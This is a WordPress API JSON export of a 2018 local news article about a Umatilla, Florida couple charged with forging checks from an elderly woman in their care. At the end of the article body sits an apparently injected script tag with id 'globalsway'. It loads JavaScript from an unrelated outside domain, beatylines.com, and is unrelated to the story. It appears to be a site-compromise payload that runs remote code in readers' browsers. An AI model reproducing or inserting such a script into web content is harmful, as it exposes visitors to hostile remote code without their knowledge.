{"id":218126,"date":"2018-01-11T20:51:00","date_gmt":"2018-01-12T01:51:00","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=218126"},"modified":"2018-01-23T16:02:58","modified_gmt":"2018-01-23T21:02:58","slug":"couple-arrested-forging-checks-elderly-woman","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/couple-arrested-forging-checks-elderly-woman\/","title":{"rendered":"Couple Arrested After Forging Checks from Elderly Woman"},"content":{"rendered":"<p><strong>UMATILLA, Fla. &#8212;\u00a0<\/strong>A Umatilla couple was arrested after allegedly forging several checks from an elderly woman whom the couple was supposed to be caring for.<\/p>\n<p>According to an arrest report, officers from the Umatilla Police Department spoke with the victim&#8217;s son who told officers that the victim&#8217;s nephew, 49-year-old Stephen Timmerman and Timmerman&#8217;s wife, 61-year-old Tina Timmerman had been taking advantage of his mother while they were supposed to be caring for her.<\/p>\n<p>After speaking to the victim, officers learned that Timmerman and his wife moved in with his aunt to help care for her in exchange for a place to live.<\/p>\n<p>The report stated that the victim gave Mr. Timmerman permission to use her checking account but only to pay for household bills.<\/p>\n<p>According to the victim, Timmerman and his wife wrote a total of 18 checks to themselves from the victim&#8217;s account totaling to over $3,500 and cashed them at the bank.<\/p>\n<p>At some point during the last few months, the victim was transferred to a nursing home during which time the Timmermans continued writing checks to themselves.<\/p>\n<p>Tina was arrested and charged with exploitation of the elderly, grand theft from a person over 65 years of age, and uttering a forged instrument. She was also subsequently charged with failure to appear due to an outstanding warrant from an unrelated case.<\/p>\n<p>Tina was transported to the Lake County Jail where she was then released less than two hours from the time of her booking after posting a $21,000 bond.<\/p>\n<p>Stephen was arrested and charged with exploitation of the elderly, grand theft from a person over 65 years of age, forgery, and uttering a forged instrument.<\/p>\n<p>Stephen was also transported to the Lake County Jail where he was released nearly two hours later after posting a $16,000 bond.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UMATILLA, Fla. &#8212;\u00a0A Umatilla couple was arrested after allegedly forging several checks from an elderly woman whom the couple was supposed to be caring for.&#8230;<\/p>\n","protected":false},"author":1,"featured_media":218127,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,6,1],"tags":[657,3237,3236,2613,1269,79,80,690,315,319,1186],"class_list":["post-218126","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-lake-county","category-local","tag-arrested","tag-check","tag-forgery","tag-grand-theft","tag-jail","tag-lake","tag-lake-county","tag-lakeco","tag-police","tag-theft","tag-umatilla","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/timmerman.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=218126"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/218126\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/218127"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=218126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=218126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=218126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}